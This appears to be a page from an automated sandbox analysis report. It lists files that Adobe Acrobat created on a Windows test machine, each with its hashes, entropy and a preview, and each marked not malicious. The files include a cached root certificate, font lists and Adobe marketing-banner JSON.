SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklwqvPtfllXlE/HT8kch/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKpueT8p7NMa8RdWBwRd
MD5:	699832D9BBD716501528DB2B734C1B27
SHA1:	175CB19B8AA5BDFDCB126A110E6ED976D9C2D80C
SHA-256:	307369DCD36C2E86CB5CB980327AAF5F20C386C1B15F780C3856460E6E5CCBA0
SHA-512:	4B55BA64799DA30078705FA9A74BAA388CB8DBE86FE87F6D732E62F9DA73BAAC98BF1E76199A74ADE8B6FF61918FF3FC00BAB7980F838D4CC371A7FD6557E9E6
Malicious:	false
Preview:	p...... ..........}..c..(....................................................... ..........W....!p..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7708

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7708

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357176024260906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJM3g98kUwPeUkwRe9:YvXKXM2lZc0v+2zGMbLUkee9
MD5:	26186BA4790E2E2776541C96407DC873
SHA1:	4AB52762E907FB8B99C100F6FD762D4F376E4826
SHA-256:	817B4C9ABBA13302CDE30DD172C5FC1BFDBB0E7345F4207469C1E2EF4DF0934B
SHA-512:	DEF57429A6DF210FC185D6FCEDE0F4A7A778DF7C645D1C0D971F43B6F1F7B566406FEBCA74BB608B53EA4F74EAC7DEA7044A987D072C15E43514D7EC05840793
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307156422562975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfBoTfXpnrPeUkwRe9:YvXKXM2lZc0v+2zGWTfXcUkee9
MD5:	FB81CD15F46E8B2DEBAA6837DD1F9F56
SHA1:	1C1F5D225CBE9D96F573338FC8787DFDF8AD974F
SHA-256:	B877DF4623EDB1D29520C02989922DA225E20003ABD369D8F273CF1491379950
SHA-512:	AB7B819B195DFA42F4EAC557F04A082F8AE567DC23FB8EA1174AAFC227D649E7738F66EA5A2A4C0328A364F4BE6544801BEBAEBE898CF11A06B5C431BD2485D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28456668527375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfBD2G6UpnrPeUkwRe9:YvXKXM2lZc0v+2zGR22cUkee9
MD5:	8D329D82D7D50FA789DC41C368419609
SHA1:	D277A5BE323407BD44F2218AFCEA7B392F7F5DEE
SHA-256:	DDA98B07F1A7EE686DF230A7BFF055992A41CB6A8425A1C1F5A7364E751B083D
SHA-512:	08EC397F54FD1570DBD9199774AC87F29488A7DF8E0BF21B5AC5839C0454A9FDB19C40B2F6A9D543C55D60C6B9B9AA183AA2D28D2ECE39462A510F7D2AA52D2A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343969430033037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfPmwrPeUkwRe9:YvXKXM2lZc0v+2zGH56Ukee9
MD5:	419BE65A7AB8328BE64429EA6059270E
SHA1:	79F247A21C2D5605B8628042C264EDF1BC0C568D
SHA-256:	CFD4062A6F4A7FE895B38DF7468415A401843B2CEEA6381E2BF2ACEF1806F196
SHA-512:	00A6EF5B71A1ACF0D2410D7E00AB5B44C5728BB6E5133AA5386182A30ECF110A49764D71174A546E6CA323515690709E2CA42FAF95CE2A83963355119D47C8B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685338543363749
Encrypted:	false
SSDEEP:	24:Yv6XBlzv+2opLgE9cQx8LennAvzBvkn0RCmK8czOCCSES:Yv022ohgy6SAFv5Ah8cv/ES
MD5:	7F4C83A050A456D056D4484D8BE26E82
SHA1:	033F9B6D8E3D5230BC189B9B6FC728261AAAE6F1
SHA-256:	DA8ED891D10457F8B446F704C4D05131676B76085249ED98A8B69FF5B5901713
SHA-512:	645522DD6704E13CF764E21BC650C6C00EB6A569C318571B6CBDB935DBA7E2BCBC9D7D1925365B32F60F3B421C846828EF2E581A4B8543A7CDFA3609B8E1F2B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290456729155939
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJf8dPeUkwRe9:YvXKXM2lZc0v+2zGU8Ukee9
MD5:	B88BE13F54FE7475582B732B9F4A6A9F
SHA1:	443E80A2719D760D88B8AA331088AF6D508B9D0A
SHA-256:	9229E8FB7027CF47932E8BE04BE741C411807B2BC15FC84AB2D70B83A5260331
SHA-512:	571ECFA843423CBCC4A170FE337EE7ADB8616A2587B32C121B8E4F82F17AB484F09580CBE41E9C67744AF267BC0F5156DE2BF5DA931300D565D69AAF2FFD204D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294146414702016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfQ1rPeUkwRe9:YvXKXM2lZc0v+2zGY16Ukee9
MD5:	23CE4944976EDF1A0BE67246B465A639
SHA1:	305DAB7808578C1FE062DE604FCFE5DCC260F402
SHA-256:	A69C97E4C62599549C4AAE825B34C5DBD6E65033B1815C54EA55BA6B4D143CEE
SHA-512:	F52AA7002A74AFE44F7F8439E7F4485025BFC7E41E54799946C95FC59E1E5B9A857DD3A13D40291C147186BBAB0019D1CD6212BB71B33B8AA8F4AA8470871B75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302020296854487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfFldPeUkwRe9:YvXKXM2lZc0v+2zGz8Ukee9
MD5:	3E3AD2C0341E723CCE5A5AA458DD5EB0
SHA1:	9CEBF1D4018971230D11117D6356DC1A124068F5
SHA-256:	C26003F7256C2B08696F24B74D4F5620C24B7F4B68BE17F6E1D8E78EA4B29BD0
SHA-512:	AA996A787F2F2F2D515176910FCE2FCC00339FA71E7ECC3259236C25E777AEB71F9AE62D5D3CC3C37BCDBB70BAADE622D5A5048B41880A5C91E81C919F6DFCE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317687595602767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfzdPeUkwRe9:YvXKXM2lZc0v+2zGb8Ukee9
MD5:	FF16FD4DFAC94D4C46A45D542CDB47F8
SHA1:	8D3B431B3C5E92AC9E30C39C11F318717592BEEB
SHA-256:	66691172F6FD3636C551267F8B6A988E472226528141D6ED82BDA8F05254EC60
SHA-512:	0B8379956A7E285BFEFEC9EBC887DE18572F00636B2D8B040BC64A9F5E2FCEFD90625518BD81A594E53529817AAC48ECC178FD224479A303A1C19F36EC46D5AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298002723928893
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfYdPeUkwRe9:YvXKXM2lZc0v+2zGg8Ukee9
MD5:	7A9AB33FFF2C170DB1FB3E581437FA1B
SHA1:	0F6EBFC59F4EB2B13299BA2FC34001EDF0602B3A
SHA-256:	D1536DEA40B1A5D1D604CD8B0D25276AEFFD9BA4289ABC68265FE5FA891BB086
SHA-512:	9D29DE6BBE47E46392B09448B780D452E7437431EA46F9E1A406BF3876387EC549B3F0DF8996DA167AB1C3608227E22865E98DD2BEC31F8FDBB32D3CD461AB6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284316924368297
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJf+dPeUkwRe9:YvXKXM2lZc0v+2zG28Ukee9
MD5:	940CA4BC59111882DD716512772A9927
SHA1:	FC053B90AC2A0ED7873521BD7D83FF0EA2CCC5AA
SHA-256:	EFBEDE897EDF2BBD260FA1BAA7EE0C1F55B682FD72C8043C34BDC99698198961
SHA-512:	CE30901E2A9C15A2C5C11FE6F43A4C3F8098F257B3B5BA272B03D7D61E6116D6B337F863F9D2FFCA2C30972175D0951BC7010FD1002804431B335C401F426572
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.281563548586064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXAOW2kVoZcg1vRcR0Y7MFIoAvJfbPtdPeUkwRe9:YvXKXM2lZc0v+2zGDV8Ukee9
MD5:	7FC2A2671F438216A215383213356CB3
SHA1:	575675666DD89A1E761AADDC3AC62FAB36D06ED3
SHA-256:	F12A273072C4083402EDD0267D0C26508F467973D07C40B01877F5052D184DBB
SHA-512:	7C4DDE2D7D8FE84DC618FF1385231737E3DF99EC6E22E19F27D1D341D24C6BD78F9DFD50457569FC4EA7F0E70FE4095F1A1302DB4ACA0C82C51E72A1DDA43923
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a353b26b-6c0c-4bcb-8e66-55ebb89dcc61","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736745229556,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

